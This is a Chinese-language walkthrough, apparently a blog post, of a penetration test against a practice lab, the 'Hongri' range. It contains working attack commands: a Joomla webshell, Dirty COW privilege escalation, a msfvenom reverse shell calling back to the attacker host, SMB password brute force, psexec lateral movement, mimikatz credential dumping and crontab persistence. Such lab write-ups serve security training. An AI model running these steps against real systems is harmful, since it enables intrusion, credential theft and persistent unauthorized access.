文章目录
- 前言
- 外网打点
-
- 信息搜集
- mysql重置管理员密码
- [后台写木马 上线连接ubuntu](#后台写木马 上线连接ubuntu)
- [ssh泄露登录 centos主机](#ssh泄露登录 centos主机)
- 内网渗透
-
- 使用脏牛提权至system
- 上线msf
- [横向移动至 2008主机](#横向移动至 2008主机)
- [横向移动至 win7主机](#横向移动至 win7主机)
- [横向移动至 DC](#横向移动至 DC)
- 权限维持
- 总结
前言
- 各位师傅大家好,我是qmx_07,今天继续打红日靶场
环境搭建
环境下载地址
注意:先开ubantu再开centos,再打开其他主机
修改网络编辑器
- 设置VMnet2 为 192.168.93.0网段,不出网
centos主机
- 修改网卡为NAT、VMnet2
bash
service network restart//重新获取网卡ip
其余主机设置VMnat2网卡
外网打点
信息搜集
- 使用goby,对192.168.111.0/24网段扫描,确定 192.168.111.131为攻击目标
- 开放了ssh、http、mysql服务
- 访问页面 利用wapplyzer插件 得知:Joomla cms ,nginx 反向代理
在高并发场景下,一个tomcat服务器可能承受不了那么高的并发量和访问量,所以需要多个服务器分担这个工作,而nginx在高并发的场景下表现是尤为突出的,此时nginx就可以代理多个服务器去接收用户请求,最后交给其中一个服务器处理
bash
dirsearch -u 192.168.111.131 -i 200//使用dirsearch工具扫描 返回200的敏感文件
- 扫描出一系列敏感文件,尝试访问查看
- 泄露Joomla_3.9 版本号
- 发现mysql账号密码,尝试登录
bash
账户:testuser
密码:cvcvgjASD!@
- 使用navicat成功连接数据库
mysql重置管理员密码
- 发现存在管理员账户administrator,但是密码被加密
- 查找官方文档,将密码替换为secret的加密hash
bash
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- 覆盖密码
- 访问 /Administrator登录口,使用secret密码,成功登录
后台写木马 上线连接ubuntu
- 在beez3模块,创建ma.php,使用蚁剑连接
bash
http://192.168.111.131/templates/beez3/ma.php
- 发现命令无回显,写入phpinfo 查看情况
- 发现定义了disable_function函数,会使命令无回显
- 蚁剑插件商城下载绕过插件
- 点击加载插件
- 有正常回显,绕过disable_function函数成功
- 查看IP,发现内网主机为192.168.93.120
- ubuntu4.40系统版本
ssh泄露登录 centos主机
通过翻找,发现/tmp/mysql路径下有敏感文件 账户密码
bash
账户:wwwuser
密码:wwwuser_123Aqx
- 由于插件wapplyzer 发现该网站使用nginx反向代理,又因为该网站开放了ssh服务,尝试登录
bash
ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.111.131//需要指定ssh-rsa密钥
内网ip: 192.168.93.100, 外网ip为:192.168.111.131
- 推测:Nginx反向代理将内网的ubuntu(192.168.93.120)上的Joomla代理到了CentOS(192.168.111.131|192.168.93.100)上
- 查找nginx.conf,发现proxy_pass 字段,所以真正的网站 运行在 内网的ubuntu中
内网渗透
使用脏牛提权至system
linpeas提权辅助工具 :下载地址
- 适用于linux系统的提权工具
bash
python3 -m http.server//启动http服务
wget http://192.168.111.130:8000/linpeas.sh 下载linpeas文件
chmod +x linpeas.sh //增加可执行权限
./linpeas.sh 执行shell脚本文件
- 使用脏牛漏洞提权(dirty cow):脏牛漏洞下载地址
- 编译并赋予权限
bash
gcc -pthread dirty.c -o dirty -lcrypt && chmod 777 dirty
./dirty 123456
运行完毕后系统会新增一个名为firefart,密码为123456的root用户,直接登录:
上线msf
- 生成elf shell文件:
bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=4444 -f elf -o reverse.elf
- msf配置监听会话:
bash
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.130
set lport 4444
run
- centos运行程序:
bash
chmod +x reverse.elf //增加运行权限
./reverse.elf 运行文件
- 查看msf上线效果:
横向移动至 2008主机
- 配置路由信息:
bash
run post/multi/manage/autoroute //自动配置路由
- 设置socks代理:
bash
use auxiliary/server/socks_proxy
set srvport 6677
run
- 扫描存活主机 使用
auxiliary/scanner/discovery/udp_probe
udp模块扫描内网主机:
bash
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0/24
set threads 5 //设置线程
run
bash
存活主机: 192.168.93.10、192.168.93.20、192.168.93.30
- 扫描存活主机端口
bash
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.10, 192.168.93.20, 192.168.93.30 //指定多个ip 逗号分隔
run
- 通过验证 都没有永恒之蓝漏洞,尝试对smb服务进行弱口令爆破
bash
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.30
set pass_file /home/zss/Desktop/2020passwd-Top200.txt
set SMBUser administrator
run
密码非常规密码,需要很强大的密码字典才可以,我这边也是从其他博客里获取加入的
bash
账户: administrator
密码: 123qwe!ASD
- 使用 psexec连接
bash
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp //因为主机不出网、所以使用bind正向连接
set SMBuser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.20
run
- 成功登录到 system登录 windows2008 主机
横向移动至 win7主机
- 尝试使用同样的口令:192.168.93.30
- 成功登陆至 win7 服务器
横向移动至 DC
- 使用同样的思路 登录DC失败
- 尝试使用minikatz 抓取hash
bash
load kiwi
kiwi_cmd sekurlsa::logonPasswords
bash
账户:Administrator
密码:zxcASDqw123!!
- 会话创建失败
配置proxifer代理:
一款代理客户端软件,可以让不支持代理服务器工作的程序变的可行。支持各种操作系统和各代理协议,它的运行模式可以指定端口,指定程序的特点。
代理工具下载地址:proxifer
- 配置socks代理,配置测试选项,查看 测试连接性
bash
pip install impacket //下载第三方库
impacket套件下载地址:impacket
权限维持
定时任务
通过crontab命令将反弹shell的脚本写入定时任务实现权限维持
bash
crontab -e 管理定时任务
- 成功反弹会话
总结
-
目录扫描敏感文件,获取mysql账号密码
-
joomla写webshell,这里是利用了joomla后台有编辑php模板的功能
-
dirtycow提权(脏牛提权)
-
mimikatz抓取密码
-
impact套件的psexec 实现RCE
-
impacket套件的wmiexec实现RCE